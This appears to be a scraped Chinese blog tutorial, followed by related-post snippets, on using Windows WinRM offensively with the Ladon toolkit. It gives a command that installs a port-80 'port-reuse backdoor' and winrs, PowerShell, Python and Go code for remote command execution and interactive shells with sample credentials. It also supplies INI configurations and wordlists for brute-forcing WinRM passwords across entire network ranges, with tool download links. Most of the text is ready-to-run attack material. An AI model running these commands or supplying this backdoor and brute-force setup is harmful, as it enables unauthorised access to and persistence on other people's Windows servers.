简介

WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。

Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。

PS:WIN7或2008需要手动开户WINRM

默认端口

5985/tcp (HTTP)
5986/tcp (HTTPS)

端口复用后门

对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
通过下面的命令,可以新增WinRM一个80端口的监听。
winrm set winrm/config/service @{EnableCompatibilityHttpListener=“true”}

PS:该方法适用于有web的机器,不会开启新端口,也不需要EXE进程或DLL劫持。

Winrs远程执行命令

需要客户端启用Winrm,SYS权限受限制
通过WinRM连接,并执行whoami命令
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami

通过WinRM连接,并获得交互式的shell
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd

PowerShell远程执行命令

需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

$ip="192.168.1.116"
#$ip="192.168.1.20"
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
$securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520'
$cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword
$cmd = {ls C:\users\public}
Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd

Pywinrm远程执行命令

需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

#C:\Users\null\Desktop\pywinrm>python test1.py
#win-\k8gege
import winrm
s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok
#s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail
r=s.run_ps('dir')
r=s.run_cmd('whoami')
print r.std_out
print  r.std_err

Gowinrm远程执行命令

Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
推荐使用版本,跨平台,任意权限,工具无需系统客外配置,也无需复杂安装。

package main
import ("github.com/masterzen/winrm""fmt""os""strconv"
)
//Winrm Remote Shell by k8gege
//http://k8gege.org/Ladon/WinrmScan.html
#C:\Users\k8gege\Desktop\>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami
#k8gegevar help = func () {fmt.Println("Winrm Shell by k8gege")fmt.Println("====================================================")fmt.Println("winrmcmd host port user pass cmd")
}func main() {args := os.Argsif len(args) < 5 || args == nil {help()return}host := args[1]port,err := strconv.Atoi(args[2])user := args[3]pass := args[4]cmd := args[5]endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0)client, err := winrm.NewClient(endpoint, user, pass)if err != nil {panic(err)}
client.Run(cmd, os.Stdout, os.Stderr)
}

C#版远程执行命令

有两种方法,一种WSMAN,一种DCOM,都有缺限,一个在WIN7环境运行提示无效程序(在2012系统才正常),另一个在WIN7开发环境正常在2012系统不能使用,再者需启用Winrm还一样受权限限制,还不如用系统自带命令好。

调用winrm爆破

由于C#使用WSMan来访问winrm均在各种问题,还不如系统自带命令winrs。
当前机器为中文,目标为英文系统,连接提示编码问题,设置对应编码即可
其它语言系统,返回不一定是437,具体自行根据需要修改INI脚本。

WinrmScan.ini
[Ladon]
#Brute-Force WinRM
exe=cmd.exe
arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
port=5985
isok=isok
log=true

注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口
后门:如果被别人添加了复用后门,也可以直接爆破80端口,把5985改成80即可。

调用WinrmCmd爆破

Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制

[Ladon]
#Brute-Force WinRM
exe=winrmcmd.exe
arg=$ip$ 5985 $user$ $pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
isok=isok
log=true

SSH密码爆破/暴力破解

配置密码爆破参数

INI脚本仅支持标准的user.txt和pass.txt帐密破解

user & pass /传统帐密

user.txt
k8gege
root

pass.txt
toor
k8gege520

指定IP

Ladon 192.168.1.8 WinrmScan.ini

扫描C段

Ladon 192.168.1.8/c WinrmScan.ini
Ladon 192.168.1.8/24 WinrmScan.ini

扫描B段

Ladon 192.168.1.8/b WinrmScan.ini

扫描A段

Ladon 192.168.1.8/a WinrmScan.ini

批量IP

ip.txt
192.168.1.8
192.168.1.5
192.168.1.109:48

Ladon WinrmScan.ini

批量C段

ip24.txt
192.168.1.
10.1.5.

Ladon WinrmScan.ini

批量B段

ip16.txt
192.168.
10.1.

Ladon  WinrmScan.ini

如图,通过5985端口扫描1.20机器登陆口令

工具下载

最新版本:https://k8gege.org/Download
历史版本: https://github.com/k8gege/Ladon/releases
WinrmCmd: https://github.com/k8gege/WinrmCmd

〖教程〗Winrm远程命令/WinrmCmd/端口复用后门/Windows密码爆破相关推荐

  1. linux 端口复用后门,一条命令实现端口复用后门

    说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现.但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后 ...

  2. php开启端口复用,WebServer端口复用后门

    0x00 有朋友问到了我一个关于"无端口可用"的问题.说在如下图所示的内网环境中,firewall只允许Web Server的80端口建立网络连接,并且Web Server上的80 ...

  3. 〖教程〗NbtScan 139端口弱口令/Netbios密码爆破

    版本 Ladon >= 7.1 139端口 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务.这个协议被用于Windows& ...

  4. linux nc命令测试端口,Linux和Windows下的NC(Netcat)命令测试端口连通性

    1.Linux OS 环境下(以Centos为例),使用nc命令分别测试TCP和UDP端口连通性:css 安装方法:nginx 在客户端和服务器端分别安装nc工具,安装命令以下:web yum ins ...

  5. 管理端口_内网渗透 | 红蓝对抗:Windows利用WinRM实现端口复用打造隐蔽后门

    目录 WinRM端口复用原理 端口复用配置 新增80端口监听 修改WinRM默认监听的端口 远程连接WinRM WinRM端口复用原理 该端口复用的原理是使用Windows的远程管理服务WinRM,结 ...

  6. 安全之路 —— 利用端口复用技术隐藏后门端口

    简介 前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管 ...

  7. tcp 端口复用与惊群效应(REUSEADDR、REUSEPORT)

    我在之前的一篇文章中,介绍了我在之前的项目中遇到的端口复用,windows 的udp里端口复用导致了一个bug,具体的链接参考如下: 关于Socket中端口复用_zhc的博客-CSDN博客_socke ...

  8. windows下使用telnet命令Ping 端口

    windows下使用telnet命令Ping 端口 背景 在windows下测试端口(telnet),老是提示无效的命令.在网上一番搜索找到以下解决方案. 解决 操作:控制面板–>程序–> ...

  9. Web端口复用正向后门研究实现与防御

    0×01背景 现在的很多远控/后门因为目前主流防火墙规则的限制,基本上都采用TCP/UDP反弹回连的通讯形式:但是在较高安全环境下,尤其负责web相关业务的环境,因为安防设备(防火墙,IDS,IPS等 ...

  10. NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析

    本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1.   概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的N ...

最新文章

  1. 基于深度学习的口罩规范佩戴检测【树莓派+PC训练、测试】
  2. Python符号计算库sympy使用笔记
  3. python自带模块连接数据库_Python模块Sqlite数据库模块
  4. 处女座和小姐姐(三)
  5. 云服务器上MySQL安装教程(Windows)
  6. 浙南联合训练赛20180414
  7. mysql重命名数据表称方式_在MySQL中,使用()重命名数据表。_学小易找答案
  8. Teams Bot如何判断用户所在的时区
  9. [html] 页面中怎么嵌入Flash?有哪些方法?写出来
  10. python图形化编程工具哪个好_mPython(图形化编程软件) V0.5.0 官方版
  11. vim 配置_模块化你的vim配置文件
  12. 数据类别不平衡/长尾分布?不妨利用半监督或自监督学习
  13. webserver 交互方式说明
  14. flutter java混编_有赞 Flutter 混编方案
  15. 女生可以学计算机应用吗,我是女生 学计算机应用技术还是软体技术
  16. 小菜鸟一步步打造图书馆外挂之十三:用户编辑界面的实现
  17. hive hsql 漏斗模型_数据分析之SQL:常用模型
  18. axivion和astree_基于LabVIEW的IVI编程 IVI Programme Based on LabVIEW.pdf
  19. 略谈永中OFFICE的语言国际化
  20. mysql 联合查询去重复_两个表联合查询去重复GROUP_CONCAT

热门文章

  1. 51单片机课设 计算器
  2. 计算机怎么恢复初始设定模式,电脑的Edge浏览器怎么进行重置使其恢复出厂默认设置...
  3. AT070TN92 电源
  4. navicat 1146错误
  5. Gmail(以及Google其他服务)的可用IPV6地址【2013年01月12日测试可用】
  6. SpringCloud项目启动
  7. 华三模拟器(防火墙)实现IPSEC穿越NAT实验
  8. cad完全卸载教程_如何完全卸载(删除)cad-百度经验
  9. 分段衰减衰减系数_深度学习中的固定学习率衰减策略总结
  10. html为标题添加脚注,如何在rmarkdown html中的特定标题下放置脚注?